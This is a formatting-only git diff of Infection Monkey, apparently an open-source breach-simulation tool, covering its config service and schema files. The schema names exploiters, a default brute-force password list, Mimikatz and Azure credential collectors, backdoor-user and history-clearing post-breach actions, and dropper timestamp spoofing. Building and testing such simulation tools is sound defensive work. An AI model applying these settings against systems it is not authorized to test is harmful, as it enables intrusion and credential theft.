ConfigService.add_item_to_config_set_if_dont_exist( SSH_KEYS_PATH, - { - "public_key": public_key, - "private_key": private_key, - "user": user, "ip": ip - }, + {"public_key": public_key, "private_key": private_key, "user": user, "ip": ip}, # SSH keys already encrypted in process_ssh_info() - should_encrypt=False - + should_encrypt=False, ) @staticmethod def ssh_key_exists(keys, user, ip): - return [key for key in keys if key['user'] == user and key['ip'] == ip] + return [key for key in keys if key["user"] == user and key["ip"] == ip] def _filter_none_values(data): if isinstance(data, dict): - return {k: ConfigService._filter_none_values(v) for k, v in data.items() if k is not None and v is not None} + return { + k: ConfigService._filter_none_values(v) + for k, v in data.items() + if k is not None and v is not None + } elif isinstance(data, list): return [ConfigService._filter_none_values(item) for item in data if item is not None] else: @@ -186,16 +191,18 @@ def update_config(config_json, should_encrypt): try: ConfigService.encrypt_config(config_json) except KeyError: - logger.error('Bad configuration file was submitted.') + logger.error("Bad configuration file was submitted.") return False - mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True) - logger.info('monkey config was updated') + mongo.db.config.update({"name": "newconfig"}, {"$set": config_json}, upsert=True) + logger.info("monkey config was updated") return True @staticmethod def init_default_config(): if ConfigService.default_config is None: - default_validating_draft4_validator = ConfigService._extend_config_with_default(Draft4Validator) + default_validating_draft4_validator = ConfigService._extend_config_with_default( + Draft4Validator + ) config = {} default_validating_draft4_validator(SCHEMA).validate(config) ConfigService.default_config = config @@ -221,25 +228,29 @@ def reset_config(): config = ConfigService.get_default_config(True) ConfigService.set_server_ips_in_config(config) ConfigService.update_config(config, should_encrypt=False) - logger.info('Monkey config reset was called') + logger.info("Monkey config reset was called") @staticmethod def set_server_ips_in_config(config): ips = local_ip_addresses() - config["internal"]["island_server"]["command_servers"] = \ - ["%s:%d" % (ip, env_singleton.env.get_island_port()) for ip in ips] - config["internal"]["island_server"]["current_server"] = "%s:%d" % (ips[0], env_singleton.env.get_island_port()) + config["internal"]["island_server"]["command_servers"] = [ + "%s:%d" % (ip, env_singleton.env.get_island_port()) for ip in ips + ] + config["internal"]["island_server"]["current_server"] = "%s:%d" % ( + ips[0], + env_singleton.env.get_island_port(), + ) @staticmethod def save_initial_config_if_needed(): - if mongo.db.config.find_one({'name': 'initial'}) is not None: + if mongo.db.config.find_one({"name": "initial"}) is not None: return - initial_config = mongo.db.config.find_one({'name': 'newconfig'}) - initial_config['name'] = 'initial' - initial_config.pop('_id') + initial_config = mongo.db.config.find_one({"name": "newconfig"}) + initial_config["name"] = "initial" + initial_config.pop("_id") mongo.db.config.insert(initial_config) - logger.info('Monkey config was inserted to mongo and saved') + logger.info("Monkey config was inserted to mongo and saved") @staticmethod def _extend_config_with_default(validator_class): @@ -260,9 +271,11 @@ def set_defaults(validator, properties, instance, schema): layer_3_dict = {} for property4, subschema4 in list(subschema3["properties"].items()): if "properties" in subschema4: - raise ValueError("monkey/monkey_island/cc/services/config.py " - "can't handle 5 level config. " - "Either change back the config or refactor.") + raise ValueError( + "monkey/monkey_island/cc/services/config.py " + "can't handle 5 level config. " + "Either change back the config or refactor." + ) if "default" in subschema4: layer_3_dict[property4] = subschema4["default"] sub_dict[property3] = layer_3_dict @@ -273,7 +286,8 @@ def set_defaults(validator, properties, instance, schema): yield error return validators.extend( - validator_class, {"properties": set_defaults}, + validator_class, + {"properties": set_defaults}, ) @staticmethod @@ -292,10 +306,18 @@ def decrypt_flat_config(flat_config, is_island=False): keys = [config_arr_as_array[-1] for config_arr_as_array in ENCRYPTED_CONFIG_VALUES] for key in keys: - if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], str): + if isinstance(flat_config[key], collections.Sequence) and not isinstance( + flat_config[key], str + ): # Check if we are decrypting ssh key pair - if flat_config[key] and isinstance(flat_config[key][0], dict) and 'public_key' in flat_config[key][0]: - flat_config[key] = [ConfigService.decrypt_ssh_key_pair(item) for item in flat_config[key]] + if ( + flat_config[key] + and isinstance(flat_config[key][0], dict) + and "public_key" in flat_config[key][0] + ): + flat_config[key] = [ + ConfigService.decrypt_ssh_key_pair(item) for item in flat_config[key] + ] else: flat_config[key] = [get_encryptor().dec(item) for item in flat_config[key]] else: @@ -316,23 +338,33 @@ def _encrypt_or_decrypt_config(config, is_decrypt=False): if isinstance(config_arr, collections.Sequence) and not isinstance(config_arr, str): for i in range(len(config_arr)): # Check if array of shh key pairs and then decrypt - if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]: - config_arr[i] = ConfigService.decrypt_ssh_key_pair(config_arr[i]) if is_decrypt else \ - ConfigService.decrypt_ssh_key_pair(config_arr[i], True) + if isinstance(config_arr[i], dict) and "public_key" in config_arr[i]: + config_arr[i] = ( + ConfigService.decrypt_ssh_key_pair(config_arr[i]) + if is_decrypt + else ConfigService.decrypt_ssh_key_pair(config_arr[i], True) + ) else: - config_arr[i] = get_encryptor().dec(config_arr[i]) if is_decrypt else get_encryptor().enc(config_arr[i]) + config_arr[i] = ( + get_encryptor().dec(config_arr[i]) + if is_decrypt + else get_encryptor().enc(config_arr[i]) + ) else: - parent_config_arr[config_arr_as_array[-1]] = \ - get_encryptor().dec(config_arr) if is_decrypt else get_encryptor().enc(config_arr) + parent_config_arr[config_arr_as_array[-1]] = ( + get_encryptor().dec(config_arr) + if is_decrypt + else get_encryptor().enc(config_arr) + ) @staticmethod def decrypt_ssh_key_pair(pair, encrypt=False): if encrypt: - pair['public_key'] = get_encryptor().enc(pair['public_key']) - pair['private_key'] = get_encryptor().enc(pair['private_key']) + pair["public_key"] = get_encryptor().enc(pair["public_key"]) + pair["private_key"] = get_encryptor().enc(pair["private_key"]) else: - pair['public_key'] = get_encryptor().dec(pair['public_key']) - pair['private_key'] = get_encryptor().dec(pair['private_key']) + pair["public_key"] = get_encryptor().dec(pair["public_key"]) + pair["private_key"] = get_encryptor().dec(pair["private_key"]) return pair @staticmethod diff --git a/monkey/monkey_island/cc/services/config_schema/basic.py b/monkey/monkey_island/cc/services/config_schema/basic.py index 0fa0b80d479..aaf2e570e8f 100644 --- a/monkey/monkey_island/cc/services/config_schema/basic.py +++ b/monkey/monkey_island/cc/services/config_schema/basic.py @@ -12,9 +12,7 @@ "title": "Exploiters", "type": "array", "uniqueItems": True, - "items": { - "$ref": "#/definitions/exploiter_classes" - }, + "items": {"$ref": "#/definitions/exploiter_classes"}, "default": [ "SmbExploiter", "WmiExploiter", @@ -27,10 +25,10 @@ "HadoopExploiter", "VSFTPDExploiter", "MSSQLExploiter", - "DrupalExploiter" - ] + "DrupalExploiter", + ], } - } + }, }, "credentials": { "title": "Credentials", @@ -40,24 +38,16 @@ "title": "Exploit user list", "type": "array", "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "Administrator", - "root", - "user" - ], + "items": {"type": "string"}, + "default": ["Administrator", "root", "user"], "description": "List of user names that will be used by exploiters that need credentials, like " - "SSH brute-forcing." + "SSH brute-forcing.", }, "exploit_password_list": { "title": "Exploit password list", "type": "array", "uniqueItems": True, - "items": { - "type": "string" - }, + "items": {"type": "string"}, "default": [ "root", "123456", @@ -65,12 +55,12 @@ "123456789", "qwerty", "111111", - "iloveyou" + "iloveyou", ], "description": "List of passwords that will be used by exploiters that need credentials, like " - "SSH brute-forcing." - } - } - } - } + "SSH brute-forcing.", + }, + }, + }, + }, } diff --git a/monkey/monkey_island/cc/services/config_schema/basic_network.py b/monkey/monkey_island/cc/services/config_schema/basic_network.py index 5ae044d95c5..c515a8cbcda 100644 --- a/monkey/monkey_island/cc/services/config_schema/basic_network.py +++ b/monkey/monkey_island/cc/services/config_schema/basic_network.py @@ -17,49 +17,42 @@ "type": "string", "format": IP, }, - "default": [ - ], + "default": [], "description": "List of IPs that the Monkey will not scan.", - "info": "The Monkey scans its subnet if \"Local network scan\" is ticked. " - "Additionally the monkey scans machines according to \"Scan target list\"." + "info": 'The Monkey scans its subnet if "Local network scan" is ticked. ' + 'Additionally the monkey scans machines according to "Scan target list".', }, "local_network_scan": { "title": "Local network scan", "type": "boolean", "default": True, "description": "Determines whether the Monkey will scan the local subnets of machines it runs on, " - "in addition to the IPs that are configured manually in the \"Scan target list\"." + 'in addition to the IPs that are configured manually in the "Scan target list".', }, "depth": { "title": "Scan depth", "type": "integer", "minimum": 1, "default": 2, - "description": - "Amount of hops allowed for the Monkey to spread from the Island server. \n" - + WARNING_SIGN - + " Note that setting this value too high may result in the Monkey propagating too far, " - "if the \"Local network scan\" is enabled." + "description": "Amount of hops allowed for the Monkey to spread from the Island server. \n" + + WARNING_SIGN + + " Note that setting this value too high may result in the Monkey propagating too far, " + 'if the "Local network scan" is enabled.', }, "subnet_scan_list": { "title": "Scan target list", "type": "array", "uniqueItems": True, - "items": { - "type": "string", - "format": IP_RANGE - }, - "default": [ - ], - "description": - "List of targets the Monkey will try to scan. Targets can be IPs, subnets or hosts." - " Examples:\n" - "\tTarget a specific IP: \"192.168.0.1\"\n" - "\tTarget a subnet using a network range: \"192.168.0.5-192.168.0.20\"\n" - "\tTarget a subnet using an IP mask: \"192.168.0.5/24\"\n" - "\tTarget a specific host: \"printer.example\"" - } - } + "items": {"type": "string", "format": IP_RANGE}, + "default": [], + "description": "List of targets the Monkey will try to scan. Targets can be IPs, subnets or hosts." + " Examples:\n" + '\tTarget a specific IP: "192.168.0.1"\n' + '\tTarget a subnet using a network range: "192.168.0.5-192.168.0.20"\n' + '\tTarget a subnet using an IP mask: "192.168.0.5/24"\n' + '\tTarget a specific host: "printer.example"', + }, + }, }, "network_analysis": { "title": "Network Analysis", @@ -69,27 +62,22 @@ "title": "Network segmentation testing", "type": "array", "uniqueItems": True, - "items": { - "type": "string", - "format": IP_RANGE - }, - "default": [ - ], - "description": - "Test for network segmentation by providing a list of network segments " - "that should NOT be accessible to each other.\n\n" - "For example, if you configured the following three segments: " - "\"10.0.0.0/24\", \"11.0.0.2/32\", and \"12.2.3.0/24\", " - "a Monkey running on 10.0.0.5 will try to access machines in the following subnets: " - "11.0.0.2/32, 12.2.3.0/24. An alert on successful cross-segment connections " - "will be shown in the reports. \n\n" - "Network segments can be IPs, subnets or hosts. Examples:\n" - "\tDefine a single-IP segment: \"192.168.0.1\"\n" - "\tDefine a segment using a network range: \"192.168.0.5-192.168.0.20\"\n" - "\tDefine a segment using an subnet IP mask: \"192.168.0.5/24\"\n" - "\tDefine a single-host segment: \"printer.example\"" + "items": {"type": "string", "format": IP_RANGE}, + "default": [], + "description": "Test for network segmentation by providing a list of network segments " + "that should NOT be accessible to each other.\n\n" + "For example, if you configured the following three segments: " + '"10.0.0.0/24", "11.0.0.2/32", and "12.2.3.0/24", ' + "a Monkey running on 10.0.0.5 will try to access machines in the following subnets: " + "11.0.0.2/32, 12.2.3.0/24. An alert on successful cross-segment connections " + "will be shown in the reports. \n\n" + "Network segments can be IPs, subnets or hosts. Examples:\n" + '\tDefine a single-IP segment: "192.168.0.1"\n' + '\tDefine a segment using a network range: "192.168.0.5-192.168.0.20"\n' + '\tDefine a segment using an subnet IP mask: "192.168.0.5/24"\n' + '\tDefine a single-host segment: "printer.example"', } - } - } - } + }, + }, + }, } diff --git a/monkey/monkey_island/cc/services/config_schema/config_schema.py b/monkey/monkey_island/cc/services/config_schema/config_schema.py index 17d7752c059..3900b067525 100644 --- a/monkey/monkey_island/cc/services/config_schema/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema/config_schema.py @@ -2,9 +2,12 @@ from monkey_island.cc.services.config_schema.basic_network import BASIC_NETWORK from monkey_island.cc.services.config_schema.definitions.exploiter_classes import EXPLOITER_CLASSES from monkey_island.cc.services.config_schema.definitions.finger_classes import FINGER_CLASSES -from monkey_island.cc.services.config_schema.definitions.post_breach_actions import POST_BREACH_ACTIONS -from monkey_island.cc.services.config_schema.definitions.system_info_collector_classes import \ - SYSTEM_INFO_COLLECTOR_CLASSES +from monkey_island.cc.services.config_schema.definitions.post_breach_actions import ( + POST_BREACH_ACTIONS, +) +from monkey_island.cc.services.config_schema.definitions.system_info_collector_classes import ( + SYSTEM_INFO_COLLECTOR_CLASSES, +) from monkey_island.cc.services.config_schema.internal import INTERNAL from monkey_island.cc.services.config_schema.monkey import MONKEY @@ -18,8 +21,7 @@ "exploiter_classes": EXPLOITER_CLASSES, "system_info_collector_classes": SYSTEM_INFO_COLLECTOR_CLASSES, "post_breach_actions": POST_BREACH_ACTIONS, - "finger_classes": FINGER_CLASSES - + "finger_classes": FINGER_CLASSES, }, "properties": { "basic": BASIC, @@ -27,7 +29,5 @@ "monkey": MONKEY, "internal": INTERNAL, }, - "options": { - "collapsed": True - } + "options": {"collapsed": True}, } diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py index 427c72bb31f..c5de894d403 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py @@ -1,85 +1,69 @@ FINGER_CLASSES = { "title": "Fingerprint class", "description": "Fingerprint modules collect info about external services " - "Infection Monkey scans.", + "Infection Monkey scans.", "type": "string", "anyOf": [ { "type": "string", - "enum": [ - "SMBFinger" - ], + "enum": ["SMBFinger"], "title": "SMBFinger", "safe": True, "info": "Figures out if SMB is running and what's the version of it.", - "attack_techniques": ["T1210"] + "attack_techniques": ["T1210"], }, { "type": "string", - "enum": [ - "SSHFinger" - ], + "enum": ["SSHFinger"], "title": "SSHFinger", "safe": True, "info": "Figures out if SSH is running.", - "attack_techniques": ["T1210"] + "attack_techniques": ["T1210"], }, { "type": "string", - "enum": [ - "PingScanner" - ], + "enum": ["PingScanner"], "title": "PingScanner", "safe": True, - "info": "Tries to identify if host is alive and which OS it's running by ping scan." + "info": "Tries to identify if host is alive and which OS it's running by ping scan.", }, { "type": "string", - "enum": [ - "HTTPFinger" - ], + "enum": ["HTTPFinger"], "title": "HTTPFinger", "safe": True, - "info": "Checks if host has HTTP/HTTPS ports open." + "info": "Checks if host has HTTP/HTTPS ports open.", }, { "type": "string", - "enum": [ - "MySQLFinger" - ], + "enum": ["MySQLFinger"], "title": "MySQLFinger", "safe": True, "info": "Checks if MySQL server is running and tries to get it's version.", - "attack_techniques": ["T1210"] + "attack_techniques": ["T1210"], }, { "type": "string", - "enum": [ - "MSSQLFinger" - ], + "enum": ["MSSQLFinger"], "title": "MSSQLFinger", "safe": True, "info": "Checks if Microsoft SQL service is running and tries to gather information about it.", - "attack_techniques": ["T1210"] + "attack_techniques": ["T1210"], }, { "type": "string", - "enum": [ - "ElasticFinger" - ], + "enum": ["ElasticFinger"], "title": "ElasticFinger", "safe": True, "info": "Checks if ElasticSearch is running and attempts to find it's version.", - "attack_techniques": ["T1210"] + "attack_techniques": ["T1210"], }, { "type": "string", - "enum": [ - "PostgreSQLFinger" - ], + "enum": ["PostgreSQLFinger"], "title": "PostgreSQLFinger", "info": "Checks if PostgreSQL service is running and if its communication is encrypted.", - "attack_techniques": ["T1210"] - } - ] + "attack_techniques": ["T1210"], + }, + ], } diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py index 857e80da477..ea9b18aba7f 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py @@ -1,123 +1,101 @@ POST_BREACH_ACTIONS = { "title": "Post breach actions", "description": "Runs scripts/commands on infected machines. These actions safely simulate what an adversary" - "might do after breaching a new machine. Used in ATT&CK and Zero trust reports.", + "might do after breaching a new machine. Used in ATT&CK and Zero trust reports.", "type": "string", "anyOf": [ { "type": "string", - "enum": [ - "BackdoorUser" - ], + "enum": ["BackdoorUser"], "title": "Back door user", "safe": True, "info": "Attempts to create a new user on the system and delete it afterwards.", - "attack_techniques": ["T1136"] + "attack_techniques": ["T1136"], }, { "type": "string", - "enum": [ - "CommunicateAsNewUser" - ], + "enum": ["CommunicateAsNewUser"], "title": "Communicate as new user", "safe": True, "info": "Attempts to create a new user, create HTTPS requests as that user and delete the user " - "afterwards.", - "attack_techniques": ["T1136"] + "afterwards.", + "attack_techniques": ["T1136"], }, { "type": "string", - "enum": [ - "ModifyShellStartupFiles" - ], + "enum": ["ModifyShellStartupFiles"], "title": "Modify shell startup files", "safe": True, "info": "Attempts to modify shell startup files, like ~/.profile, ~/.bashrc, ~/.bash_profile " - "in linux, and profile.ps1 in windows. Reverts modifications done afterwards.", - "attack_techniques": ["T1156", "T1504"] + "in linux, and profile.ps1 in windows. Reverts modifications done afterwards.", + "attack_techniques": ["T1156", "T1504"], }, { "type": "string", - "enum": [ - "HiddenFiles" - ], + "enum": ["HiddenFiles"], "title": "Hidden files and directories", "safe": True, "info": "Attempts to create a hidden file and remove it afterward.", - "attack_techniques": ["T1158"] + "attack_techniques": ["T1158"], }, { "type": "string", - "enum": [ - "TrapCommand" - ], + "enum": ["TrapCommand"], "title": "Trap", "safe": True, "info": "On Linux systems, attempts to trap an interrupt signal in order to execute a command " - "upon receiving that signal. Removes the trap afterwards.", - "attack_techniques": ["T1154"] + "upon receiving that signal. Removes the trap afterwards.", + "attack_techniques": ["T1154"], }, { "type": "string", - "enum": [ - "ChangeSetuidSetgid" - ], + "enum": ["ChangeSetuidSetgid"], "title": "Setuid and Setgid", "safe": True, "info": "On Linux systems, attempts to set the setuid and setgid bits of a new file. " - "Removes the file afterwards.", - "attack_techniques": ["T1166"] + "Removes the file afterwards.", + "attack_techniques": ["T1166"], }, { "type": "string", - "enum": [ - "ScheduleJobs" - ], + "enum": ["ScheduleJobs"], "title": "Job scheduling", "safe": True, "info": "Attempts to create a scheduled job on the system and remove it.", - "attack_techniques": ["T1168", "T1053"] + "attack_techniques": ["T1168", "T1053"], }, { "type": "string", - "enum": [ - "Timestomping" - ], + "enum": ["Timestomping"], "title": "Timestomping", "safe": True, "info": "Creates a temporary file and attempts to modify its time attributes. Removes the file afterwards.", - "attack_techniques": ["T1099"] + "attack_techniques": ["T1099"], }, { "type": "string", - "enum": [ - "SignedScriptProxyExecution" - ], + "enum": ["SignedScriptProxyExecution"], "title": "Signed script proxy execution", "safe": False, "info": "On Windows systems, attempts to execute an arbitrary file " - "with the help of a pre-existing signed script.", - "attack_techniques": ["T1216"] + "with the help of a pre-existing signed script.", + "attack_techniques": ["T1216"], }, { "type": "string", - "enum": [ - "AccountDiscovery" - ], + "enum": ["AccountDiscovery"], "title": "Account Discovery", "safe": True, "info": "Attempts to get a listing of user accounts on the system.", - "attack_techniques": ["T1087"] + "attack_techniques": ["T1087"], }, { "type": "string", - "enum": [ - "ClearCommandHistory" - ], + "enum": ["ClearCommandHistory"], "title": "Clear command history", "safe": False, "info": "Attempts to clear the command history.", - "attack_techniques": ["T1146"] - } - ] + "attack_techniques": ["T1146"], + }, + ], } diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py index cd756ed61a1..487166ec6f6 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py @@ -1,6 +1,11 @@ -from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, AZURE_CRED_COLLECTOR, - ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR, - MIMIKATZ_COLLECTOR, PROCESS_LIST_COLLECTOR) +from common.common_consts.system_info_collectors_names import ( + AWS_COLLECTOR, + AZURE_CRED_COLLECTOR, + ENVIRONMENT_COLLECTOR, + HOSTNAME_COLLECTOR, + MIMIKATZ_COLLECTOR, + PROCESS_LIST_COLLECTOR, +) SYSTEM_INFO_COLLECTOR_CLASSES = { "title": "System Information Collectors", @@ -9,63 +14,51 @@ "anyOf": [ { "type": "string", - "enum": [ - ENVIRONMENT_COLLECTOR - ], + "enum": [ENVIRONMENT_COLLECTOR], "title": "Environment collector", "safe": True, "info": "Collects information about machine's environment (on premise/GCP/AWS).", - "attack_techniques": ["T1082"] + "attack_techniques": ["T1082"], }, { "type": "string", - "enum": [ - MIMIKATZ_COLLECTOR - ], + "enum": [MIMIKATZ_COLLECTOR], "title": "Mimikatz collector", "safe": True, "info": "Collects credentials from Windows credential manager.", - "attack_techniques": ["T1003", "T1005"] + "attack_techniques": ["T1003", "T1005"], }, { "type": "string", - "enum": [ - AWS_COLLECTOR - ], + "enum": [AWS_COLLECTOR], "title": "AWS collector", "safe": True, "info": "If on AWS, collects more information about the AWS instance currently running on.", - "attack_techniques": ["T1082"] + "attack_techniques": ["T1082"], }, { "type": "string", - "enum": [ - HOSTNAME_COLLECTOR - ], + "enum": [HOSTNAME_COLLECTOR], "title": "Hostname collector", "safe": True, "info": "Collects machine's hostname.", - "attack_techniques": ["T1082", "T1016"] + "attack_techniques": ["T1082", "T1016"], }, { "type": "string", - "enum": [ - PROCESS_LIST_COLLECTOR - ], + "enum": [PROCESS_LIST_COLLECTOR], "title": "Process list collector", "safe": True, "info": "Collects a list of running processes on the machine.", - "attack_techniques": ["T1082"] + "attack_techniques": ["T1082"], }, { "type": "string", - "enum": [ - AZURE_CRED_COLLECTOR - ], + "enum": [AZURE_CRED_COLLECTOR], "title": "Azure credential collector", "safe": True, "info": "Collects password credentials from Azure VMs", - "attack_techniques": ["T1003", "T1005"] - } - ] + "attack_techniques": ["T1003", "T1005"], + }, + ], } diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index a53c8ca4de3..890e74efab7 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -12,29 +12,28 @@ "title": "Singleton mutex name", "type": "string", "default": "{2384ec59-0df8-4ab9-918c-843740924a28}", - "description": - "The name of the mutex used to determine whether the monkey is already running" + "description": "The name of the mutex used to determine whether the monkey is already running", }, "keep_tunnel_open_time": { "title": "Keep tunnel open time", "type": "integer", "default": 60, - "description": "Time to keep tunnel open before going down after last exploit (in seconds)" + "description": "Time to keep tunnel open before going down after last exploit (in seconds)", }, "monkey_dir_name": { "title": "Monkey's directory name", "type": "string", "default": r"monkey_dir", - "description": "Directory name for the directory which will contain all of the monkey files" + "description": "Directory name for the directory which will contain all of the monkey files", }, "started_on_island": { "title": "Started on island", "type": "boolean", "default": False, "description": "Was exploitation started from island" - "(did monkey with max depth ran on island)" + "(did monkey with max depth ran on island)", }, - } + }, }, "monkey": { "title": "Monkey", @@ -44,75 +43,60 @@ "title": "Max victims to find", "type": "integer", "default": 100, - "description": "Determines the maximum number of machines the monkey is allowed to scan" + "description": "Determines the maximum number of machines the monkey is allowed to scan", }, "victims_max_exploit": { "title": "Max victims to exploit", "type": "integer", "default": 100, - "description": - "Determines the maximum number of machines the monkey" - " is allowed to successfully exploit. " + WARNING_SIGN - + " Note that setting this value too high may result in the monkey propagating to " - "a high number of machines" + "description": "Determines the maximum number of machines the monkey" + " is allowed to successfully exploit. " + + WARNING_SIGN + + " Note that setting this value too high may result in the monkey propagating to " + "a high number of machines", }, "internet_services": { "title": "Internet services", "type": "array", "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "monkey.guardicore.com", - "www.google.com" - ], - "description": - "List of internet services to try and communicate with to determine internet" - " connectivity (use either ip or domain)" + "items": {"type": "string"}, + "default": ["monkey.guardicore.com", "www.google.com"], + "description": "List of internet services to try and communicate with to determine internet" + " connectivity (use either ip or domain)", }, "self_delete_in_cleanup": { "title": "Self delete on cleanup", "type": "boolean", "default": True, - "description": "Should the monkey delete its executable when going down" + "description": "Should the monkey delete its executable when going down", }, "use_file_logging": { "title": "Use file logging", "type": "boolean", "default": True, - "description": "Should the monkey dump to a log file" + "description": "Should the monkey dump to a log file", }, "serialize_config": { "title": "Serialize config", "type": "boolean", "default": False, - "description": "Should the monkey dump its config on startup" + "description": "Should the monkey dump its config on startup", }, "alive": { "title": "Alive", "type": "boolean", "default": True, - "description": "Is the monkey alive" + "description": "Is the monkey alive", }, "aws_keys": { "type": "object", "properties": { - "aws_access_key_id": { - "type": "string", - "default": "" - }, - "aws_secret_access_key": { - "type": "string", - "default": "" - }, - "aws_session_token": { - "type": "string", - "default": "" - } - } - } - } + "aws_access_key_id": {"type": "string", "default": ""}, + "aws_secret_access_key": {"type": "string", "default": ""}, + "aws_session_token": {"type": "string", "default": ""}, + }, + }, + }, }, "island_server": { "title": "Island server", @@ -122,22 +106,18 @@ "title": "Island server's IP's", "type": "array", "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "192.0.2.0:5000" - ], + "items": {"type": "string"}, + "default": ["192.0.2.0:5000"], "description": "List of command servers/network interfaces to try to communicate with " - "(format is :)" + "(format is :)", }, "current_server": { "title": "Current server", "type": "string", "default": "192.0.2.0:5000", - "description": "The current command server the monkey is communicating with" - } - } + "description": "The current command server the monkey is communicating with", + }, + }, }, "network": { "title": "Network", @@ -151,26 +131,15 @@ "title": "HTTP ports", "type": "array", "uniqueItems": True, - "items": { - "type": "integer" - }, - "default": [ - 80, - 8080, - 443, - 8008, - 7001, - 9200 - ], - "description": "List of ports the monkey will check if are being used for HTTP" + "items": {"type": "integer"}, + "default": [80, 8080, 443, 8008, 7001, 9200], + "description": "List of ports the monkey will check if are being used for HTTP", }, "tcp_target_ports": { "title": "TCP target ports", "type": "array", "uniqueItems": True, - "items": { - "type": "integer" - }, + "items": {"type": "integer"}, "default": [ 22, 2222, @@ -183,29 +152,29 @@ 8008, 3306, 7001, - 8088 + 8088, ], - "description": "List of TCP ports the monkey will check whether they're open" + "description": "List of TCP ports the monkey will check whether they're open", }, "tcp_scan_interval": { "title": "TCP scan interval", "type": "integer", "default": 0, - "description": "Time to sleep (in milliseconds) between scans" + "description": "Time to sleep (in milliseconds) between scans", }, "tcp_scan_timeout": { "title": "TCP scan timeout", "type": "integer", "default": 3000, - "description": "Maximum time (in milliseconds) to wait for TCP response" + "description": "Maximum time (in milliseconds) to wait for TCP response", }, "tcp_scan_get_banner": { "title": "TCP scan - get banner", "type": "boolean", "default": True, - "description": "Determines whether the TCP scan should try to get the banner" - } - } + "description": "Determines whether the TCP scan should try to get the banner", + }, + }, }, "ping_scanner": { "title": "Ping scanner", @@ -215,11 +184,11 @@ "title": "Ping scan timeout", "type": "integer", "default": 1000, - "description": "Maximum time (in milliseconds) to wait for ping response" + "description": "Maximum time (in milliseconds) to wait for ping response", } - } - } - } + }, + }, + }, }, "classes": { "title": "Classes", @@ -229,9 +198,7 @@ "title": "Fingerprint classes", "type": "array", "uniqueItems": True, - "items": { - "$ref": "#/definitions/finger_classes" - }, + "items": {"$ref": "#/definitions/finger_classes"}, "default": [ "SMBFinger", "SSHFinger", @@ -240,10 +207,10 @@ "MySQLFinger", "MSSQLFinger", "ElasticFinger", - "PostgreSQLFinger" - ] + "PostgreSQLFinger", + ], } - } + }, }, "kill_file": { "title": "Kill file", @@ -253,15 +220,15 @@ "title": "Kill file path on Windows", "type": "string", "default": "%windir%\\monkey.not", - "description": "Path of file which kills monkey if it exists (on Windows)" + "description": "Path of file which kills monkey if it exists (on Windows)", }, "kill_file_path_linux": { "title": "Kill file path on Linux", "type": "string", "default": "/var/run/monkey.not", - "description": "Path of file which kills monkey if it exists (on Linux)" - } - } + "description": "Path of file which kills monkey if it exists (on Linux)", + }, + }, }, "dropper": { "title": "Dropper", @@ -271,55 +238,51 @@ "title": "Dropper sets date", "type": "boolean", "default": True, - "description": - "Determines whether the dropper should set the monkey's file date to be the same as" - " another file" + "description": "Determines whether the dropper should set the monkey's file date to be the same as" + " another file", }, "dropper_date_reference_path_windows": { "title": "Dropper date reference path (Windows)", "type": "string", "default": "%windir%\\system32\\kernel32.dll", - "description": - "Determines which file the dropper should copy the date from if it's configured to do" - " so on Windows (use fullpath)" + "description": "Determines which file the dropper should copy the date from if it's configured to do" + " so on Windows (use fullpath)", }, "dropper_date_reference_path_linux": { "title": "Dropper date reference path (Linux)", "type": "string", "default": "/bin/sh", - "description": - "Determines which file the dropper should copy the date from if it's configured to do" - " so on Linux (use fullpath)" + "description": "Determines which file the dropper should copy the date from if it's configured to do" + " so on Linux (use fullpath)", }, "dropper_target_path_linux": { "title": "Dropper target path on Linux", "type": "string", "default": "/tmp/monkey", - "description": "Determines where should the dropper place the monkey on a Linux machine" + "description": "Determines where should the dropper place the monkey on a Linux machine", }, "dropper_target_path_win_32": { "title": "Dropper target path on Windows (32bit)", "type": "string", "default": "C:\\Windows\\temp\\monkey32.exe", "description": "Determines where should the dropper place the monkey on a Windows machine " - "(32bit)" + "(32bit)", }, "dropper_target_path_win_64": { "title": "Dropper target path on Windows (64bit)", "type": "string", "default": "C:\\Windows\\temp\\monkey64.exe", "description": "Determines where should the dropper place the monkey on a Windows machine " - "(64 bit)" + "(64 bit)", }, "dropper_try_move_first": { "title": "Try to move first", "type": "boolean", "default": True, - "description": - "Determines whether the dropper should try to move itself instead of copying itself" - " to target path" - } - } + "description": "Determines whether the dropper should try to move itself instead of copying itself" + " to target path", + }, + }, }, "logging": { "title": "Logging", @@ -329,33 +292,33 @@ "title": "Dropper log file path on Linux", "type": "string", "default": "/tmp/user-1562", - "description": "The fullpath of the dropper log file on Linux" + "description": "The fullpath of the dropper log file on Linux", }, "dropper_log_path_windows": { "title": "Dropper log file path on Windows", "type": "string", "default": "%temp%\\~df1562.tmp", - "description": "The fullpath of the dropper log file on Windows" + "description": "The fullpath of the dropper log file on Windows", }, "monkey_log_path_linux": { "title": "Monkey log file path on Linux", "type": "string", "default": "/tmp/user-1563", - "description": "The fullpath of the monkey log file on Linux" + "description": "The fullpath of the monkey log file on Linux", }, "monkey_log_path_windows": { "title": "Monkey log file path on Windows", 